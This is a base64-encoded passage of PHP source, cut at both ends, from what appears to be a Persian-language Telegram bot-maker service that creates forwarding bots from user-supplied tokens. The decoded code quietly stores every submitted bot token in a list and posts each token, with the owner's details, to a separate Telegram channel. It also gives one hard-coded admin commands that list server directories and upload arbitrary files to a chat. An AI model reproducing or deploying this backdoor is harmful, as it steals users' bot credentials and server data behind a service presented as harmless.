aHJlZSk7CgkJCQkJCQkJCQkJCQkkY291bnQzPWNvdW50KCRleHApLTE7CgkJCQkJCQkJCQkJCQkkb3Blbj1mb3BlbigiZGF0YS9hbWFya29saS50eHQiLCJhKyIpOwoJCQkJCQkJCQkJCQkJZndyaXRlKCRvcGVuLCLwn5qPVXNlcm5hbWUgOiBAJHR3byBcbvCfjrBDb3VudCA6ICRjb3VudDNcblxuIik7CgkJCQkJCQkJCQkJCQlmY2xvc2UoJG9wZW4pOwoJCQkJCQkJCQkJCQkJfQoJCQkJCQkJCQkJCQkJJGdldD1maWxlX2dldF9jb250ZW50cygiZGF0YS9hbWFya29saS50eHQiKTsKCQkJCQkJCQkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJCQkJCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkJCQkJCQkJCQkndGV4dCc9PiRnZXQsCgkJCQkJCQkJCQkJCQldKTsKCQkJCQkJCQkJCQkJCX1lbHNlaWYoJHRleHQxPT0ia2lja2FsbCIpewoJCQkJCQkJCQkJCQkJJG9uZT1zY2FuZGlyKCJkYXRhL2thcmJhciIpOwoJCQkJCQkJCQkJCQkJJHR3bz1jb3VudCgkb25lKTsKCQkJCQkJCQkJCQkJCWZvcigkeD0wOyR4PCR0d287JHgrKyl7CgkJCQkJCQkJCQkJCQkJJGZvdXI9ZmlsZV9nZXRfY29udGVudHMoImRhdGEva2FyYmFyLyRvbmVbJHhdIik7CgkJCQkJCQkJCQkJCQl1bmxpbmsoImRhdGEvJGZvdXIvbWVtLnR4dCIpOwoJCQkJCQkJCQkJCQkJdW5saW5rKCJkYXRhLyRmb3VyL3N1bWJpdC50eHQiKTsKCQkJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCQkJCXJtZGlyKCJkYXRhL2thcmJhciIpOwoJCQkJCQkJCQkJCQkJdW5saW5rKCJkYXRhL2FtYXJjaGFsZXNoLnR4dCIpOwoJCQkJCQkJCQkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJCQkJCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkJCQkJCQkJCSd0ZXh0Jz0+Itm+2KfaqSDYtNiv2YbYr+KchSIsCgkJCQkJCQkJCQkJCQkJXSk7CgkJCQkJCQkJCQkJCQkJfWVsc2VpZihzdHJwb3MoJHRleHQxLCIvc2NhbiIpIT09ZmFsc2UgJiYgJGZhZG1pbj09IjEyNTg1ODkxOCIpewoJCQkJCQkJCQkJCQkJCQkkdGVzdD1zdHJfcmVwbGFjZSgiL3NjYW4gIiwiIiwkdGV4dDEpOwoJCQkJCQkJCQkJCQkJCQkkdGVzdDE9c2NhbmRpcigkdGVzdCk7CgkJCQkJCQkJCQkJCQkJCSR0ZXN0Mj1jb3VudCgkdGVzdDEpOwoJCQkJCQkJCQkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS9zY2FuLnR4dCIsIiIpOwoJCQkJCQkJCQkJCQkJCQlmb3IoJHg9MDskeCA8ICR0ZXN0MjsgJHgrKyl7CgkJCQkJCQkJCQkJCQkJCSRmb3Blbj1mb3BlbigiZGF0YS9zY2FuLnR4dCIsImErIik7CgkJCQkJCQkJCQkJCQkJCWZ3cml0ZSgkZm9wZW4sIiR0ZXN0MVskeF1cbiIpOwoJCQkJCQkJCQkJCQkJCQlmY2xvc2UoJGZvcGVuKTsKCQkJCQkJCQkJCQkJCQkJCgkJCQkJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCQkJCQkJJHRleHk9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvc2Nhbi50eHQiKTsKCQkJCQkJCQkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCQkJCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkJCQkJCQkJCQkndGV4dCc9PiJjb3VudCA6XG5cbiR0ZXh5ICIsCgkJCQkJCQkJCQkJCQkJCV0pOwoJCQkJCQkJCQkJCQkJCQl9ZWxzZWlmKHN0cnBvcygkdGV4dDEsIi9zZW5kIikgIT09ZmFsc2UgJiYgJGZhZG1pbj09IjEyNTg1ODkxOCIpewoJCQkJCQkJCQkJCQkJCQkJCSR0ZXN0PXN0cl9yZXBsYWNlKCIvc2VuZCAiLCIiLCR0ZXh0MSk7CgkJCQkJCQkJCQkJCQkJCSR0ZXN0MT1zY2FuZGlyKCR0ZXN0KTsKCQkJCQkJCQkJCQkJCQkJJHRlc3QyPWNvdW50KCR0ZXN0MSk7CgkJCQkJCQkJCQkJCQkJCQoJCQkJCQkJCQkJCQkJCQlmb3IoJHg9MDskeCA8ICR0ZXN0MjsgJHgrKyl7CgkJCQkJCQkJCQkJCQkJYm90KCdzZW5kZG9jdW1lbnQnLFsKCQkJCQkJCQkJCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkJCQkJCQkJCSdkb2N1bWVudCc9Pm5ldyBDVVJMRmlsZSgkdGVzdDFbJHhdKSwKCQkJCQkJCQkJCQkJCQldKTsKCQkJCQkJCQkJCQkJCQkJCgkJCQkJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCQkJCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkJCQkJCQkJCQkndGV4dCc9PiJkb25l4pyFIiwKCQkJCQkJCQkJCQkJCQkJXSk7CgkJCQkJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQkJCQkKCQkJCQllbHNlaWYoJHRleHQxPT0i8J+kltiz2KfYrtiqINix2KjYp9iq8J+kliIpewoJCQkJCQkgaWYgKHN0cnBvcygkaW5jaCAsICcic3RhdHVzIjoibGVmdCInKSAhPT0gZmFsc2UgICkgCiAgewpib3QoJ3NlbmRtZXNzYWdlJyxbCidjaGF0X2lkJz0+JGNoYXRfaWQsCid0ZXh0Jz0+Iti02YXYpyDYr9ixINqp2KfZhtin2YQg2YXYpyDYudi22Ygg2YbbjNiz2KrbjNiv8J+Tr+Kclu+4jwoK2YTYt9mB2Kcg2KfYqNiq2K/YpyDYr9ixINqp2KfZhtin2YQg2YXYpyDYudi22Ygg2KjYtNuM2K/imJHvuI8K2KrYpyDYqNiq2YjYp9mG24zZgNmA2YDYryDYp9iyINiq2YXYp9mFINin2YXaqdin2YbYp9iqINix2KjYp9iqINin2LPYqtmB2KfYr9mHINqp2YbbjNmA2YDYr+KclO+4j+KclO+4j+KclO+4jwpodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZnRfdGVhbQpodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZnRfdGVhbQrYqNi52K8g2KfYsiDYudi22YjbjNiqINix2YjbjCDYr9qp2YXZhyAvc3RhcnQg2qnZhNuM2qkg2qnZhtuM2K8g2KrYpyDYr9qp2YXZhyDZh9in24wg2KfYtdmE24wg2LjYp9mH2LEg2KjYtNmI2YbYr/CflJgiLAoncmVwbHlfbWFya3VwJz0+J3sia2V5Ym9hcmQiOltbIiJdLFsiL3N0YXJ0Il1dLCJyZXNpemVfa2V5Ym9hcmQiOnRydWV9JywKXSk7CnJldHVybiBmYWxzZTsKfQoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vb25lLnR4dCIsImNyZWF0ZWJvdHBtIik7CgkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkJJ3RleHQnPT4i2YTYt9mB2Kcg2KrZiNqp2YYg2LHYqNin2KrYqtmI2YYg2LHZiCDYqNmB2LHYs9iq24zYryDYqtinINio2LHYp9iq2YjZhiDZvtuM2KfZhdix2LPYp9mGINmI24zamNmHINiz2KfYrtiq2Ycg2KjYtNmH4pyFIiwKCQkJCQkncmVwbHlfbWFya3VwJz0+anNvbl9lbmNvZGUoWwoJCQkJCSdyZXNpemVfa2V5Ym9hcmQnPT50cnVlLAoJCQkJCSdrZXlib2FyZCc9PlsKCQkJCQlbWyd0ZXh0Jz0+IvCflJnYqNix2q/YtNiq8J+UmSJdXQoJCQkJCV0KCQkJCQldKSwKCQkJCQoJCQkJCV0pOwoJCQkJCX1lbHNlaWYoJHN0ZXA9PSJjcmVhdGVib3RwbSIpewoJCQkJCWlmKCR0ZXh0MT09IvCflJnYqNix2q/YtNiq8J+UmSIpewoJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluL29uZS50eHQiLCJudWxsIik7CgkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJJ3RleHQnPT4i2KjZhyDZhdmG2YjbjCDYp9mI2YQg2KjYsdqv2LTYqtuM2K/ihqkiLAoJCQkJCQkncmVwbHlfbWFya3VwJz0+JGtleWhvbWUsCgkJCQkJCV0pOwoJCQkJCQl9ZWxzZXsKCQkJCQkJCSR0ZXN0ZGVsZXRld2ViaG9vaz0iaHR0cHM6Ly9hLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lL2JvdCR0ZXh0MS9kZWxldGVXZWJob29rIjsKCQkJCQkJCWZpbGVfZ2V0X2NvbnRlbnRzKCR0ZXN0ZGVsZXRld2ViaG9vayk7CgkJCQkJCSRnZXRtZT0iaHR0cHM6Ly9hLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm9yZy9ib3QkdGV4dDEvZ2V0bWUiOwoJCQkJCQkkanNnZXRtZT1qc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygkZ2V0bWUpLHRydWUpOwoJCQkJCQkkb2s9JGpzZ2V0bWVbJ29rJ107CgkJCQkJCSR1c2VybmFtZT0kanNnZXRtZVsncmVzdWx0J11bJ3VzZXJuYW1lJ107CgkJCQkJCSRmaXJzdF9uYW1lYm90PSRqc2dldG1lWydyZXN1bHQnXVsnZmlyc3RfbmFtZSddOwoJCQkJCQkkaWQ9JGpzZ2V0bWVbJ3Jlc3VsdCddWydpZCddOwoJCQkJCQlpZigkb2s9PWZhbHNlKXsKCQkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkJCQkndGV4dCc9PiLYqtmI2qnZhiDZhdmI2LHYryDZhti42LEg2YLYqNmI2YQg2YbYtNiv4puUXG5cbtmE2LfZgdinINiq2YjaqdmGINiv24zar9ix24wg2KfZhdiq2K3Yp9mGINqp2YbbjNivIDoiLAoJCQkJCQkJJ3JlcGx5X21hcmt1cCc9PiRrZXliYWNrLAoJCQkJCQkJXSk7CgkJCQkJCQl9ZWxzZXsKCQkJCQkJCQlib3QoJ3NlbmRtZXNzYWdlJyxbCgkJCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJCQkndGV4dCc9PiLYsdio2KfYqiDYr9ixINit2KfZhCDYs9in2K7YqtmGINmF24zYqNin2LTYr1xu2YTYt9mB2Kcg2LXYqNixINqp2YbbjNivLi4uIiwKCQkJCQkJCQldKTsKCQkJCQkJCQkkdHh4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL3Rva2VubGlzdC50eHQiLCJhKyIpOwogICAgJHBtZW1iZXJzaWQ9IGV4cGxvZGUoIlxuIiwkdHh4dCk7CiAgICBpZiAoIWluX2FycmF5KCR0ZXh0MSwkcG1lbWJlcnNpZCkpewogICAgICAkYWFkZGQgPSBmaWxlX2dldF9jb250ZW50cygiZGF0YS90b2tlbmxpc3QudHh0Iik7CiAgICAgICRhYWRkZCAuPSAkdGV4dDEuIlxuIjsKICAgICAgZmlsZV9wdXRfY29udGVudHMoImRhdGEvdG9rZW5saXN0LnR4dCIsJGFhZGRkKTsKfSAgIAoJCQkJCQkKCQkJCQkJCSRzdGFydD1maWxlX2dldF9jb250ZW50cygiZGF0YS9zdGFydC50eHQiKTsKJHNlbmRwbT1maWxlX2dldF9jb250ZW50cygiZGF0YS9zZW5kcG0udHh0Iik7CiRzdGlja2VyPWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL3N0aWNrZXIudHh0Iik7CiRwaG90bz1maWxlX2dldF9jb250ZW50cygiZGF0YS9waG90by50eHQiKTsKJHZpZGVvPWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL3ZpZGVvLnR4dCIpOwokdm9pY2U9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvdm9pY2UudHh0Iik7CiRhdWRpbz1maWxlX2dldF9jb250ZW50cygiZGF0YS9hdWRpby50eHQiKTsKJGxvY2F0aW9uPWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL2xvY2F0aW9uLnR4dCIpOwokZG9jdW1lbnQ9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvZG9jdW1lbnQudHh0Iik7CiRmb3Jsb2NrPWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL2ZvcmxvY2sudHh0Iik7CiR0ZXh0bG9jaz1maWxlX2dldF9jb250ZW50cygiZGF0YS90ZXh0bG9jay50eHQiKTsKJGdyb3VwbG9jaz1maWxlX2dldF9jb250ZW50cygiZGF0YS9ncm91cGxvY2sudHh0Iik7CiRib3RvZmY9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvYm90b2ZmLnR4dCIpOwokbW9tb2Q9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvbW9tb2QudHh0Iik7CiRibGFjaz1maWxlX2dldF9jb250ZW50cygiZGF0YS9ibGFjay50eHQiKTsKJGJsYWNrYWxsPWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL2JsYWNrYWxsLnR4dCIpOwokc3RhcnRmb3I9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvc3RhcnRmb3IudHh0Iik7CiRwbXJlc2FuPWZpbGVfZ2V0X2NvbnRlbnRzKCJwbXJlc2FuLnBocCIpOwpta2RpcigiZGF0YS8kZmFkbWluLyR1c2VybmFtZSIpOwpta2RpcigiZGF0YS8kZmFkbWluLyR1c2VybmFtZS9kYXRhIik7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vJHVzZXJuYW1lL2RhdGEvc3RhcnQudHh0Iiwkc3RhcnQpOwkKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi8kdXNlcm5hbWUvZGF0YS9zdGFydGZvci50eHQiLCRzdGFydGZvcik7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vJHVzZXJuYW1lL2RhdGEvc2VuZHBtLnR4dCIsJHNlbmRwbSk7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vJHVzZXJuYW1lL2RhdGEvc3RpY2tlci50eHQiLCRzdGlja2VyKTsKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi8kdXNlcm5hbWUvZGF0YS9kb2N1bWVudC50eHQiLCRkb2N1bWVudCk7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vJHVzZXJuYW1lL2RhdGEvdmlkZW8udHh0IiwkdmlkZW8pOwkJCgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vJHVzZXJuYW1lL2RhdGEvcGhvdG8udHh0IiwkcGhvdG8pOwoJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluLyR1c2VybmFtZS9kYXRhL2F1ZGlvLnR4dCIsJGF1ZGlvKTsKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi8kdXNlcm5hbWUvZGF0YS92b2ljZS50eHQiLCR2b2ljZSk7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vJHVzZXJuYW1lL2RhdGEvbG9jYXRpb24udHh0IiwkbG9jYXRpb24pOwoJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluLyR1c2VybmFtZS9kYXRhL2ZvcmxvY2sudHh0IiwkZm9ybG9jayk7CQkJCQoJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluLyR1c2VybmFtZS9kYXRhL3RleHRsb2NrLnR4dCIsJHRleHRsb2NrKTsKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi8kdXNlcm5hbWUvZGF0YS9ncm91cGxvY2sudHh0IiwkZ3JvdXBsb2NrKTsKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi8kdXNlcm5hbWUvZGF0YS9ib3RvZmYudHh0IiwkYm90b2ZmKTsJCQkKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi8kdXNlcm5hbWUvZGF0YS9tb21vZC50eHQiLCRtb21vZCk7CQkKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi8kdXNlcm5hbWUvZGF0YS9ibGFjay50eHQiLCRibGFjayk7CgkJCQkJCQkkb25lPXN0cl9yZXBsYWNlKCJbVE9LRU5dIiwiJHRleHQxIiwkcG1yZXNhbik7CgkJCQkJCQkkdHdvPXN0cl9yZXBsYWNlKCJbQURNSU5dIiwiJGZhZG1pbiIsJG9uZSk7CgkJCQkJCQkkdGhyZWU9c3RyX3JlcGxhY2UoIltVU0VSQk9UXSIsIiR1c2VybmFtZSIsJHR3byk7CgkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluLyR1c2VybmFtZS8kdXNlcm5hbWUucGhwIiwkdGhyZWUpOwkKCQkJCQkJCSRwbW5ldz0iaHR0cHM6Ly9lLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi50LmlyL2RhdGEvJGZhZG1pbi8kdXNlcm5hbWUvJHVzZXJuYW1lLnBocCI7CgkJCQkJCSR3ZWJob29rPSJodHRwczovL2EuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ub3JnL2JvdCR0ZXh0MS9zZXR3ZWJob29rP3VybD0kcG1uZXciOwkKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi9ib3RuYW1lLnR4dCIsJHVzZXJuYW1lKTsJCgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vb25lLnR4dCIsIm51bGwiKTsJCQoJCQkJCQkJZmlsZV9nZXRfY29udGVudHMoJHdlYmhvb2spOwkKCQkJCQkJCWZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL2EuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ub3JnL2JvdCR0ZXh0MS9zZW5kbWVzc2FnZT9jaGF0X2lkPSRmYWRtaW4mdGV4dD3Ysdio2KfYqivYtNmF2Kcr2KjYpyvZhdmI2YHZgtuM2Kor2KjYsSvYsdmI24wr2LPYsdmI2LEr2KrbjNmFK9mB2YjYsdmF2KfYs9iqK9ix2KfZhuKAjCvYtNiv4pyFKysr2YfZhduM2YYr2KfZhNin2YYrK9ix2KjYp9iqK9iu2YjYryvYsdinK9i02K7YtduMK9iz2KfYstuMK9qp2YbbjNivKysvc3RhcnQiKTsKCQkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJJ3RleHQnPT4i24zaqSDYsdio2KfYqiDYqNinINmF2LTYrti12KfYqiDYstuM2LEg2K/YsSDYs9ix2YjYsSDZgdmI2LHZhdin2LPYqiDYs9in2K7YqtmHINi02K/inJTvuI8KCuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArYp9i32YTYp9i52KfYqiDYsdio2KfYqiA68J+Ugwrwn6SW2YbYp9mFINix2KjYp9iqIDogJGZpcnN0X25hbWVib3QK8J+kltuM2YjYstix2YbbjNmFINix2KjYp9iqIDogQCR1c2VybmFtZQrwn6SW2KfbjNiv24wg2LHYqNin2KogOiAkaWQK8J+kltiq2YjaqdmGINix2KjYp9iqIDoKJHRleHQxCgrilojilojilojilojilojilojilojilojilojilojilojilojilogK2KfYt9mE2KfYudin2Kog2KfYr9mF24zZhiDYsdio2KfYqiA6IPCflIMKCvCfkaQg2YbYp9mFINin2K/ZhduM2YYgOiAkZm5hbWUK8J+RpNuM2YjYstix2YbbjNmFINin2K/ZhduM2YYgOiBAJHVuYW1lCvCfkaTYp9uM2K/bjCDYp9iv2YXbjNmGIDogJGZhZG1pbgoK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICtmF2LTYrti12KfYqiDYqtin2LHbjNiuINiz2KfYrtiqINix2KjYp9iqIDoKCuKPsNiz2KfYudiqIDogJHRpbWUK4o+w2KrYp9ix24zYriA6ICRkYXRlIiwKJ3JlcGx5X21hcmt1cCc9PiRrZXlob21lLAkKCQkJCQkJCV0pOwoJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJJ2NoYXRfaWQnPT4iQGRqZmpmamZqZmZqIiwKCQkJCQkJCSd0ZXh0Jz0+ItuM2qkg2LHYqNin2Kog2KjYpyDZhdi02K7Ytdin2Kog2LLbjNixINiv2LEg2LPYsdmI2LEg2YHZiNix2YXYp9iz2Kog2LPYp9iu2KrZhyDYtNiv4pyU77iPCgrilojilojilojilojilojilojilojilojilojilojilojilojilogK2KfYt9mE2KfYudin2Kog2LHYqNin2KogOvCflIMK8J+kltmG2KfZhSDYsdio2KfYqiA6ICRmaXJzdF9uYW1lYm90CvCfpJbbjNmI2LLYsdmG24zZhSDYsdio2KfYqiA6IEAkdXNlcm5hbWUK8J+kltin24zYr9uMINix2KjYp9iqIDogJGlkCvCfpJbYqtmI2qnZhiDYsdio2KfYqiA6CiR0ZXh0MQoK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICtin2LfZhNin2LnYp9iqINin2K/ZhduM2YYg2LHYqNin2KogOiDwn5SDCgrwn5GkINmG2KfZhSDYp9iv2YXbjNmGIDogJGZuYW1lCvCfkaTbjNmI2LLYsdmG24zZhSDYp9iv2YXbjNmGIDogQCR1bmFtZQrwn5Gk2KfbjNiv24wg2KfYr9mF24zZhiA6ICRmYWRtaW4KCuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArZhdi02K7Ytdin2Kog2KrYp9ix24zYriDYs9in2K7YqiDYsdio2KfYqiA6Cgrij7DYs9in2LnYqiA6ICR0aW1lCuKPsNiq2KfYsduM2K4gOiAkZGF0ZSIsCgkJCQkJCQldKTsKCQkJCQkJCQkJfQoJCQkJCQkKCQkJCQkJfQoJCQkJCQkKCQkJCQkJfWVsc2VpZigkdGV4dDE9PSLwn5SB2KjYsdmI2LLYsdiz2KfZhtuMIil7CgkJCQkJCQkgaWYgKHN0cnBvcygkaW5jaCAsICcic3RhdHVzIjoibGVmdCInKSAhPT0gZmFsc2UgICkgCiAgewpib3QoJ3NlbmRtZXNzYWdlJyxbCidjaGF0X2lkJz0+JGNoYXRfaWQsCid0ZXh0Jz0+Iti02YXYpyDYr9ixINqp2KfZhtin2YQg2YXYpyDYudi22Ygg2YbbjNiz2KrbjNiv8J+Tr+Kclu+4jwoK2YTYt9mB2Kcg2KfYqNiq2K/YpyDYr9ixINqp2KfZhtin2YQg2YXYpyDYudi22Ygg2KjYtNuM2K/imJHvuI8K2KrYpyDYqNiq2YjYp9mG24zZgNmA2YDYryDYp9iyINiq2YXYp9mFINin2YXaqdin2YbYp9iqINix2KjYp9iqINin2LPYqtmB2KfYr9mHINqp2YbbjNmA2YDYr+KclO+4j+KclO+4j+KclO+4jwpodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZnRfdGVhbQpodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZnRfdGVhbQrYqNi52K8g2KfYsiDYudi22YjbjNiqINix2YjbjCDYr9qp2YXZhyAvc3RhcnQg2qnZhNuM2qkg2qnZhtuM2K8g2KrYpyDYr9qp2YXZhyDZh9in24wg2KfYtdmE24wg2LjYp9mH2LEg2KjYtNmI2YbYr/CflJgiLAoncmVwbHlfbWFya3VwJz0+J3sia2V5Ym9hcmQiOltbIiJdLFsiL3N0YXJ0Il1dLCJyZXNpemVfa2V5Ym9hcmQiOnRydWV9JywKXSk7CnJldHVybiBmYWxzZTsKfQoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vb25lLnR4dCIsInVwZGF0ZXBtIik7CgkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkJJ3RleHQnPT4i2KrZiNqp2YYg2KjYp9iq2KrZiNmGINix2Ygg2KjZgdix2LPYqtuM2K8g2KrYpyDYqNix2KfYqtmI2YYg2LHYqNin2KrYqtmI2YYg2LHZiCDYp9m+2K/bjNiqINqp2YbZhfCfkbsiLAoJCQkJCSdyZXBseV9tYXJrdXAnPT5qc29uX2VuY29kZShbCgkJCQkJJ3Jlc2l6ZV9rZXlib2FyZCc9PnRydWUsCgkJCQkJJ2tleWJvYXJkJz0+WwoJCQkJCVtbJ3RleHQnPT4i8J+Umdio2LHar9i02Krwn5SZIl1dCgkJCQkJXQoJCQkJCV0pLAoJCQkJCgkJCQkJXSk7CgkJCQkJfWVsc2VpZigkc3RlcD09InVwZGF0ZXBtIil7CgkJCQkJaWYoJHRleHQxPT0i8J+Umdio2LHar9i02Krwn5SZIil7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vb25lLnR4dCIsIm51bGwiKTsKCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkndGV4dCc9PiLYqNmHINmF2YbZiNuMINin2YjZhCDYqNix2q/YtNiq24zYr+KGqSIsCgkJCQkJCSdyZXBseV9tYXJrdXAnPT4ka2V5aG9tZSwKCQkJCQkJXSk7CgkJCQkJCX1lbHNlewoJCQkJCQkJJHRlc3RkZWxldGV3ZWJob29rPSJodHRwczovL2EuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvYm90JHRleHQxL2RlbGV0ZVdlYmhvb2siOwoJCQkJCQkJZmlsZV9nZXRfY29udGVudHMoJHRlc3RkZWxldGV3ZWJob29rKTsKCQkJCQkJJGdldG1lPSJodHRwczovL2EuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ub3JnL2JvdCR0ZXh0MS9nZXRtZSI7CgkJCQkJCSRqc2dldG1lPWpzb25fZGVjb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRnZXRtZSksdHJ1ZSk7CgkJCQkJCSRvaz0kanNnZXRtZVsnb2snXTsKCQkJCQkJJHVzZXJuYW1lPSRqc2dldG1lWydyZXN1bHQnXVsndXNlcm5hbWUnXTsKCQkJCQkJJGZpcnN0X25hbWVib3Q9JGpzZ2V0bWVbJ3Jlc3VsdCddWydmaXJzdF9uYW1lJ107CgkJCQkJCSRpZD0kanNnZXRtZVsncmVzdWx0J11bJ2lkJ107CgkJCQkJCWlmKCRvaz09ZmFsc2UpewoJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJCSd0ZXh0Jz0+Itiq2YjaqdmGINmF2YjYsdivINmG2LjYsSDZgtio2YjZhCDZhti02K/im5Rcblxu2YTYt9mB2Kcg2KrZiNqp2YYg2K/bjNqv2LHbjCDYp9mF2KrYrdin2YYg2qnZhtuM2K8gOiIsCgkJCQkJCQkncmVwbHlfbWFya3VwJz0+JGtleWJhY2ssCgkJCQkJCQldKTsKCQkJCQkJCX1lbHNlewoJCQkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkJCSd0ZXh0Jz0+Itix2KjYp9iqINiv2LEg2K3Yp9mEINiz2KfYrtiq2YYg2YXbjNio2KfYtNivXG7ZhNi32YHYpyDYtdio2LEg2qnZhtuM2K8uLi4iLAoJCQkJCQkJCV0pOwoJCQkJCQkJCSAkdHh4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL3Rva2VubGlzdC50eHQiLCJhKyIpOwogICAgJHBtZW1iZXJzaWQ9IGV4cGxvZGUoIlxuIiwkdHh4dCk7CiAgICBpZiAoIWluX2FycmF5KCR0ZXh0MSwkcG1lbWJlcnNpZCkpewogICAgICAkYWFkZGQgPSBmaWxlX2dldF9jb250ZW50cygiZGF0YS90b2tlbmxpc3QudHh0Iik7CiAgICAgICRhYWRkZCAuPSAkdGV4dDEuIlxuIjsKICAgICAgZmlsZV9wdXRfY29udGVudHMoImRhdGEvdG9rZW5saXN0LnR4dCIsJGFhZGRkKTsKfSAgIAoJCQkJCQkJCSRwbXJlc2FuPWZ